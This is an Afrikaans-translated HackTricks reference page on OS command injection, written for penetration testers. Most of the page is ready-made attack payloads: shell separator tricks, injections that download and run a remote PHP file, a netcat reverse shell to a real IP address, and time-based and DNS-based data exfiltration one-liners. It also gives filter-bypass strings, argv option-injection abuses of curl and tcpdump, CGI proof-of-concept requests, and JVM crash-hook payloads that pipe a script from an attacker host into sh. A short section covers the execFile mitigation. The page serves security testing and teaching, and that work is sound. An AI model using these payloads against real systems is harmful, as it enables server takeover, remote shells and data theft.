Command Injection
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
What is command Injection?
’n command injection laat ’n aanvaller toe om ewekansige bedryfstelselkommando’s op die bediener wat ’n toepassing huisves, uit te voer. As gevolg hiervan kan die toepassing en al sy data volledig gekompromitteer word. Die uitvoering van hierdie kommando’s stel die aanvaller gewoonlik in staat om ongemagtigde toegang tot of beheer oor die toepassing se omgewing en onderliggende stelsel te verkry.
Context
Afhangend van waar jou invoer ingespuit word, moet jy dalk die aangehaalde konteks beëindig (deur " of ' te gebruik) voordat die kommando’s.
Command Injection/Execution
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a # (Combining new lines and tabs)
#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful
#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
Beperking Bypasses
As jy arbitrary commands inside a linux machine wil uitvoer, sal jy belangstel om oor hierdie Bypasses te lees:
Voorbeelde
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
Parameters
Hier is die top 25 parameters wat vatbaar kan wees vir code injection en soortgelyke RCE-kwesbaarhede (van link):
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
Tydgebaseerde data exfiltration
Uittrekking van data: karakter vir karakter
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
DNS gebaseerde data exfiltration
Gebaseer op die tool vanaf https://github.com/HoLyVieR/dnsbin, ook gehost op dnsbin.zhack.ca
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
Aanlyn hulpmiddels om te kontroleer vir DNS based data exfiltration:
- dnsbin.zhack.ca
- pingb.in
Filtering bypass
Windows
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
Linux
Node.js child_process.exec vs execFile
Wanneer jy JavaScript/TypeScript back-ends oudit, sal jy dikwels die Node.js child_process API teëkom.
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});
exec() skep ’n shell (/bin/sh -c), daarom sal enige karakter wat ’n spesiale betekenis vir die shell het (back-ticks, ;, &&, |, $(), …) lei tot command injection wanneer gebruikersinvoer in die string ingevoeg word.
Mitigasie: gebruik execFile() (of spawn() sonder die shell opsie) en voorsien elke argument as ’n aparte array-element sodat geen shell betrokke is nie:
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);
Real-world case: Synology Photos ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into id_user which was later embedded in an exec() call, achieving RCE (Pwn2Own Ireland 2024).
Argument/Option injection via leading hyphen (argv, no shell metacharacters)
Nie alle inspuitings vereis shell-metatekens nie. As die toepassing onbeheerde stringe as argumente aan ’n stelselnutsprogram deurgee (selfs met execve/execFile en sonder ’n shell), sal baie programme steeds enige argument wat met - of -- begin as ’n opsie ontleed. Dit stel ’n aanvaller in staat om modi om te skakel, uitvoerpaaie te verander, of gevaarlike optredes te veroorsaak sonder om ooit in ’n shell in te breek.
Tipiese plekke waar dit voorkom:
- Ingebedde web UIs/CGI handlers wat opdragte bou soos
ping <user>,tcpdump -i <iface> -w <file>,curl <url>, ens. - Gekentraliseerde CGI-routers (bv.
/cgi-bin/<something>.cgimet ’n keuseparameter soostopicurl=<handler>) waar meerdere handlers dieselfde swak validator hergebruik.
Wat om te probeer:
- Gee waardes wat met
-/--begin sodat die downstream tool dit as vlagte verbruik. - Misbruik vlagte wat gedrag verander of lêers skryf, byvoorbeeld:
ping:-f/-c 100000om die toestel te belaas (DoS)curl:-o /tmp/xom arbitrêre paaie te skryf,-K <url>om ’n deur die aanvaller beheerde konfigurasie te laaitcpdump:-G 1 -W 1 -z /path/script.shom post-rotate uitvoering in onveilige wrappers te bewerkstellig
- As die program
--end-of-options ondersteun, probeer naïewe mitigasies omseil wat--op die verkeerde plek vooraanplak.
Generic PoC shapes against centralized CGI dispatchers:
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
# Flip options in a downstream tool via argv injection
topicurl=<handler>¶m=-n
# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;
JVM diagnostiese callbacks vir gewaarborgde exec
Enige primitive wat jou toelaat om inject JVM command-line arguments (_JAVA_OPTIONS, launcher config files, AdditionalJavaArguments fields in desktop agents, etc.) kan in ’n betroubare RCE omgeskakel word sonder om application bytecode aan te raak:
- Force a deterministic crash deur metaspace of heap te verklein:
-XX:MaxMetaspaceSize=16m(of ’n klein-Xmx). Dit waarborg ’nOutOfMemoryErrorselfs tydens vroeë bootstrap. - Attach an error hook:
-XX:OnOutOfMemoryError="<cmd>"or-XX:OnError="<cmd>"voer ’n ewekansige OS-opdrag uit elke keer wanneer die JVM beëindig. - Opsioneel voeg
-XX:+CrashOnOutOfMemoryErrorby om herstelpogings te voorkom en die payload eenmalig te hou.
Voorbeeld payloads:
-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand <blob>"
-XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'"
Omdat hierdie diagnostika deur die JVM self gepars word, is geen shell metacharacters nodig nie en word die command met dieselfde integriteitsvlak as die launcher uitgevoer. Desktop IPC bugs wat user-supplied JVM flags deurgee (see Localhost WebSocket abuse) vertaal dus direk na OS command execution.
Brute-Force Detection List
Verwysings
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
- https://portswigger.net/web-security/os-command-injection
- Extraction of Synology encrypted archives – Synacktiv 2025
- PHP proc_open manual
- HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)
- Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered
- When WebSockets Lead to RCE in CurseForge
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

